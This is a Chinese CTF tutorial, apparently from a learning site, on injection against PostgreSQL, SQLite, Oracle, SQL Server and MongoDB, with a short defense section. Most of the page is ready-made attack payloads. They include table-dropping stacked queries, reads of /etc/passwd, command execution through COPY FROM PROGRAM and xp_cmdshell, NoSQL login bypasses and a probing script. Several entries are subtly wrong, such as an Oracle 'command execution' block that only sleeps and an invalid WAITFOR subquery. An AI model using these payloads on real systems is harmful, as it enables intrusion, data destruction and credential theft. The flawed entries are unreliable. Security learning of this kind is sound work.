非 MySQL 数据库注入
2025/7/15大约 11 分钟
非 MySQL 数据库注入
本文适合
已掌握 MySQL 注入的学习者。学完你能:根据报错、函数和语法差异判断数据库类型,并把 SQL/NoSQL 注入 payload 换成对应数据库可用的验证链
一句话判断
当 SQL 注入现象成立,但 MySQL 的注释、函数、报错、联合查询或时间函数都不匹配时,要立刻切到非 MySQL 数据库注入思路。
这类题的关键不是背更多 payload,而是先识别数据库类型,再选择该数据库支持的字符串连接、版本函数、系统表、时间函数和文件能力。
题目中常见信号
- 报错出现
PostgreSQL、SQLite、ORA-、SQL Server、Unclosed quotation mark、SyntaxError、MongoError。 #注释无效,但--或/* */有效。sleep(5)不生效,但pg_sleep(5)、WAITFOR DELAY、randomblob()或 Oracle 网络函数有响应差异。information_schema不存在或字段结构和 MySQL 不一样。- 应用是轻量单文件、移动端或本地题,可能使用 SQLite。
- 登录接口接受 JSON,密码字段传入
{"$ne": ""}后出现认证绕过,可能是 MongoDB/NoSQL 注入。
核心概念
非 MySQL 注入仍然是“用户输入改变查询语义”,但不同数据库的语法、系统表、函数和权限模型不同。MySQL payload 失败不代表没有注入,可能只是目标不是 MySQL。
做题时要把注入能力拆开验证:
- 语法闭合:单引号、双引号、数字型、JSON 操作符是否进入查询。
- 数据库识别:报错、版本函数、注释方式、字符串连接方式。
- 数据枚举:系统表、schema 表、集合名、列名或文档字段。
- 数据提取:联合、布尔、报错、时间、正则、JSON 操作符。
- 高危能力:文件读取、扩展加载、命令执行、堆叠语句,通常受权限限制。
最小分析流程
- 保存正常请求和正常响应长度。
- 用
'、"、)、--、/*触发语法差异,记录完整报错。 - 测版本函数:
version()、sqlite_version()、@@version、banner from v$version。 - 用数据库特有时间函数做盲注验证,避免误判为网络波动。
- 枚举表/列/集合时使用对应系统表,不要硬套
information_schema。 - 若是 JSON 登录接口,测试
$ne、$gt、$regex、$exists等 NoSQL 操作符。
最小验证示例
先用报错和版本函数判断数据库:
curl "http://target/item?id=1'"
curl "http://target/item?id=1 UNION SELECT version()--"
curl "http://target/item?id=1 UNION SELECT sqlite_version()--"如果 sqlite_version() 返回结果,而 version() 报错,说明更可能是 SQLite。继续枚举表:
1 UNION SELECT group_concat(name) FROM sqlite_master WHERE type='table'--
1 UNION SELECT group_concat(name) FROM pragma_table_info('users')--如果是 MongoDB 登录接口,最小验证是把密码从字符串改成操作符:
{"username":"admin","password":{"$ne":""}}若登录成功或响应从“密码错误”变成“欢迎 admin”,说明查询条件被操作符改变。
常见利用 / 解题路线
路线总览:
- PostgreSQL 路线:
version()识别,pg_sleep()时间验证,pg_catalog/information_schema枚举,权限足够时尝试COPY ... FROM PROGRAM。 - SQLite 路线:
sqlite_version()识别,sqlite_master枚举表,pragma_table_info()枚举列,用randomblob()做时间差。 - Oracle 路线:
FROM dual和ORA-识别,v$version查版本,ROWNUM控制行数,报错函数或网络函数辅助提取。 - SQL Server 路线:
@@version识别,WAITFOR DELAY时间验证,sys.tables/sys.columns枚举,权限足够时关注xp_cmdshell。 - MongoDB 路线:JSON 操作符绕过登录,
$regex逐位枚举,$where存在时测试 JavaScript 执行和时间差。
为什么需要了解非 MySQL 注入
CTF 中常见的数据库不只是 MySQL。了解不同数据库的注入特点,可以帮助你:
- 快速识别目标数据库类型
- 构造针对性的 payload
- 绕过针对 MySQL 的防护
数据库识别方法
通过报错信息
MySQL: You have an error in your SQL syntax
PostgreSQL: ERROR: syntax error at or near
SQLite: SQLITE_ERROR
MongoDB: SyntaxError
Oracle: ORA-01756
SQL Server: Unclosed quotation mark通过版本查询
-- MySQL
SELECT @@version
SELECT version()
-- PostgreSQL
SELECT version()
-- SQLite
SELECT sqlite_version()
-- SQL Server
SELECT @@version
-- Oracle
SELECT banner FROM v$version通过注释语法
-- MySQL
# 注释
-- 注释(注意空格)
/* 注释 */
-- PostgreSQL
-- 注释
/* 注释 */
-- SQLite
-- 注释
/* 注释 */
-- SQL Server
-- 注释
/* 注释 */PostgreSQL 注入
基本语法差异
-- 字符串连接
SELECT 'a' || 'b' || 'c' -- 标准 SQL,PostgreSQL 支持
SELECT CONCAT('a', 'b', 'c') -- 也支持
-- 注释
-- 单行注释
/* 多行注释 */
-- 字符串转义
SELECT E'hello\nworld' -- 使用 E 前缀和反斜杠转义PostgreSQL 特有函数
-- 版本信息
SELECT version()
SELECT current_database()
SELECT current_user
SELECT session_user
-- 字符串函数
SELECT length('test')
SELECT substring('test' from 1 for 2)
SELECT position('s' in 'test')
SELECT reverse('test')
SELECT repeat('ab', 3)
-- 类型转换
SELECT CAST('123' AS integer)
SELECT '123'::integerPostgreSQL 注入技巧
-- 布尔注入
' AND 1=1--
' AND 1=2--
-- 联合查询
' UNION SELECT 1,2,3--
' UNION SELECT NULL,NULL,NULL--
-- 报错注入
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST((SELECT current_database()) AS int)--
-- 时间盲注
'; SELECT pg_sleep(5)--
' AND (SELECT 1 FROM pg_sleep(5))--
-- 堆叠注入
'; DROP TABLE users;--PostgreSQL 文件操作
-- 读取文件(需要 superuser 权限)
CREATE TABLE temp(content text);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp;
-- 写入文件
COPY (SELECT 'content') TO '/tmp/output.txt';
-- 命令执行(需要 superuser 权限)
CREATE TABLE temp(output text);
COPY temp FROM PROGRAM 'id';
SELECT * FROM temp;PostgreSQL 特有攻击
-- 大对象操作
SELECT lo_import('/etc/passwd') -- 导入文件为大对象
SELECT lo_get(1234) -- 读取大对象内容
-- 扩展加载
CREATE EXTENSION adminpackSQLite 注入
基本语法差异
-- SQLite 没有注释符号
-- 使用 -- 注释(标准 SQL)
-- 字符串连接
SELECT 'a' || 'b' || 'c'
-- 类型是动态的
SELECT '123' + 1 -- 结果是 124SQLite 特有函数
-- 版本信息
SELECT sqlite_version()
-- 字符串函数
SELECT length('test')
SELECT substr('test', 1, 2)
SELECT replace('test', 't', 'T')
SELECT upper('test')
SELECT lower('test')
SELECT hex('test')
SELECT unhex('74657374')
-- 类型转换
SELECT CAST('123' AS integer)
SELECT CAST('123' AS text)SQLite 注入技巧
-- 布尔注入
' AND 1=1--
' AND 1=2--
-- 联合查询
' UNION SELECT 1,2,3--
' UNION SELECT NULL,NULL,NULL--
-- 时间盲注(SQLite 没有 sleep 函数)
' AND 1=randomblob(100000000)--
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))--
-- 堆叠注入
'; DROP TABLE users;--SQLite 特有攻击
-- 读取文件(需要 load_extension)
SELECT load_extension('/path/to/extension')
-- ATTACH 数据库
ATTACH DATABASE '/etc/passwd' AS passwd;
SELECT * FROM passwd.passwd;
-- 查询所有表名
SELECT name FROM sqlite_master WHERE type='table'
-- 查询表结构
SELECT sql FROM sqlite_master WHERE type='table' AND name='users'SQLite 数据提取
-- 获取所有表名
SELECT group_concat(name) FROM sqlite_master WHERE type='table'
-- 获取列名
SELECT group_concat(name) FROM pragma_table_info('users')
-- 逐字符提取数据
SELECT substr(password,1,1) FROM users WHERE username='admin'
SELECT unicode(substr(password,1,1)) FROM users WHERE username='admin'MongoDB 注入
NoSQL 注入特点
// MongoDB 使用 JSON 查询,不是 SQL
// 注入方式不同
// 正常查询
db.users.find({username: "admin", password: "123"})
// 注入:绕过认证
db.users.find({username: "admin", password: {"$ne": ""}})
db.users.find({username: "admin", password: {"$gt": ""}})
db.users.find({username: {"$ne": ""}, password: {"$ne": ""}})MongoDB 操作符注入
// $ne (不等于)
{"username": {"$ne": ""}, "password": {"$ne": ""}}
// $gt (大于)
{"username": {"$gt": ""}, "password": {"$gt": ""}}
// $regex (正则)
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
// $exists (存在)
{"username": {"$exists": true}}
// $in (在列表中)
{"username": {"$in": ["admin", "root"]}}
// $where (JavaScript)
{"$where": "this.password == '123'"}
{"$where": "function() { return this.password == '123'; }"}MongoDB JavaScript 注入
// 如果应用使用 $where,可以注入 JavaScript
// 正常
{"$where": "this.username == 'admin'"}
// 注入
{"$where": "this.username == 'admin' || 1==1"}
{"$where": "sleep(5000)"}
{"$where": "var a = this.password; return a;"}MongoDB 注入检测
import requests
def test_mongodb_injection(url, username_param, password_param):
"""测试 MongoDB 注入"""
# 测试 $ne 绕过
payloads = [
{username_param: "admin", password_param: {"$ne": ""}},
{username_param: "admin", password_param: {"$gt": ""}},
{username_param: {"$ne": ""}, password_param: {"$ne": ""}},
{username_param: {"$regex": ".*"}, password_param: {"$regex": ".*"}},
]
for payload in payloads:
try:
resp = requests.post(url, json=payload, timeout=5)
if "success" in resp.text.lower() or resp.status_code == 200:
print(f"[!] 可能存在 MongoDB 注入: {payload}")
except:
pass
# 使用示例
# test_mongodb_injection("http://target.com/login", "username", "password")Oracle 注入
基本语法差异
-- Oracle 没有 LIMIT,使用 ROWNUM
SELECT * FROM users WHERE ROWNUM <= 10
-- 字符串连接
SELECT 'a' || 'b' || 'c' FROM dual
-- 注释
-- 单行注释
/* 多行注释 */
-- 伪表 dual
SELECT 1 FROM dualOracle 特有函数
-- 版本信息
SELECT banner FROM v$version
SELECT version FROM v$instance
-- 字符串函数
SELECT LENGTH('test') FROM dual
SELECT SUBSTR('test', 1, 2) FROM dual
SELECT INSTR('test', 's') FROM dual
SELECT UPPER('test') FROM dual
SELECT LOWER('test') FROM dual
SELECT REPLACE('test', 't', 'T') FROM dual
-- 类型转换
SELECT TO_NUMBER('123') FROM dual
SELECT TO_CHAR(123) FROM dualOracle 注入技巧
-- 布尔注入
' AND 1=1--
' AND 1=2--
-- 联合查询
' UNION SELECT 1,2,3 FROM dual--
' UNION SELECT NULL,NULL,NULL FROM dual--
-- 报错注入
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE ROWNUM=1))--
-- 时间盲注
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE ROWNUM=1))--
-- 堆叠注入(Oracle 默认不支持多语句)
-- 需要使用 PL/SQL 块Oracle 特有攻击
-- 读取文件(需要权限)
CREATE TABLE temp(content CLOB);
DECLARE
f UTL_FILE.FILE_TYPE;
s VARCHAR2(4000);
BEGIN
f := UTL_FILE.FOPEN('/etc', 'passwd', 'R');
UTL_FILE.GET_LINE(f, s);
INSERT INTO temp VALUES(s);
UTL_FILE.FCLOSE(f);
END;
-- 命令执行(需要权限)
DECLARE
l_output DBMS_OUTPUT.CHARARR;
l_lines INTEGER := 100;
BEGIN
DBMS_OUTPUT.ENABLE(100000);
DBMS_OUTPUT.PUT_LINE(DBMS_PIPE.RECEIVE_MESSAGE('pipe', 5));
END;SQL Server 注入
基本语法差异
-- SQL Server 使用 TOP 而不是 LIMIT
SELECT TOP 10 * FROM users
-- 字符串连接
SELECT 'a' + 'b' + 'c'
-- 注释
-- 单行注释
/* 多行注释 */SQL Server 特有函数
-- 版本信息
SELECT @@version
SELECT SERVERPROPERTY('productversion')
-- 字符串函数
SELECT LEN('test')
SELECT SUBSTRING('test', 1, 2)
SELECT CHARINDEX('s', 'test')
SELECT UPPER('test')
SELECT LOWER('test')
SELECT REPLACE('test', 't', 'T')
SELECT REVERSE('test')
-- 类型转换
SELECT CAST('123' AS int)
SELECT CONVERT(int, '123')SQL Server 注入技巧
-- 布尔注入
' AND 1=1--
' AND 1=2--
-- 联合查询
' UNION SELECT 1,2,3--
' UNION SELECT NULL,NULL,NULL--
-- 报错注入
' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=CONVERT(int,(SELECT DB_NAME()))--
-- 时间盲注
'; WAITFOR DELAY '0:0:5'--
' AND (SELECT 1 FROM WAITFOR DELAY '0:0:5')--
-- 堆叠注入
'; DROP TABLE users;--SQL Server 特有攻击
-- 读取文件(需要权限)
CREATE TABLE temp(content VARCHAR(MAX));
BULK INSERT temp FROM '/etc/passwd';
-- 写入文件
EXEC xp_cmdshell 'echo test > C:\temp\output.txt';
-- 命令执行(需要权限)
EXEC xp_cmdshell 'whoami';
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;数据库注入防御
1. 参数化查询
# Python - 使用参数化查询
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
# Java - 使用 PreparedStatement
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
ps.setString(1, username);2. 输入验证
# 验证输入格式
import re
if not re.match(r'^[a-zA-Z0-9_]+$', username):
raise ValueError("Invalid username")3. 最小权限
-- 数据库用户只给予必要权限
GRANT SELECT ON users TO app_user;
-- 不要给予 DROP, CREATE, FILE 等权限4. 错误处理
# 不要返回详细错误信息
try:
cursor.execute(query)
except Exception as e:
return "Database error", 500
# 不要返回: return str(e)常见失败原因
- 只测试 MySQL:MySQL payload 全失败时,先根据报错和函数识别数据库,而不是直接判定无注入。
- 不识别数据库类型就套 payload:
sleep()、limit、concat()、information_schema都不是所有数据库通用。 - 联合查询失败就放弃:很多失败来自列数、类型、伪表、字符串连接差异,需要先补齐 NULL 和类型占位。
- 忽略权限限制:PostgreSQL 文件读写、SQL Server
xp_cmdshell、Oracle 文件包都常被权限拦住,CTF 中也要先证明权限。 - 把 NoSQL 注入当 SQL 注入:MongoDB 的关键是 JSON 操作符和
$where,不是单引号闭合。 - 只看状态码:认证绕过、布尔差异和时间盲注要看业务字段、响应长度和耗时分布。
迷你案例
题目 /search?id=1 输入单引号后报错:
SQLITE_ERROR: unrecognized token先确认 SQLite:
1 UNION SELECT sqlite_version()--返回 3.x.x。继续查表名:
1 UNION SELECT group_concat(name) FROM sqlite_master WHERE type='table'--得到 users,flags,再查列名:
1 UNION SELECT group_concat(name) FROM pragma_table_info('flags')--得到 id,flag,最终读取:
1 UNION SELECT flag FROM flags--这个案例的闭环是:报错识别 SQLite -> 版本确认 -> 系统表枚举 -> 列名确认 -> 读取目标数据。
做题时的归类问题
- 报错信息中出现
postgresql或psql,先回到 非MySQL数据库注入(PostgreSQL)。 - 报错信息中出现
sqlite,先回到 非MySQL数据库注入(SQLite)。 - 报错信息中出现
ORA-,先回到 非MySQL数据库注入(Oracle)。 - 报错信息中出现
Unclosed quotation mark,先回到 非MySQL数据库注入(SQL Server)。 - 输入
#注释无效但--有效,先回到 非MySQL数据库注入(可能是 PostgreSQL/SQLite)。 - 联合查询时列数对但类型不对,先回到 非MySQL数据库注入(不同数据库类型转换不同)。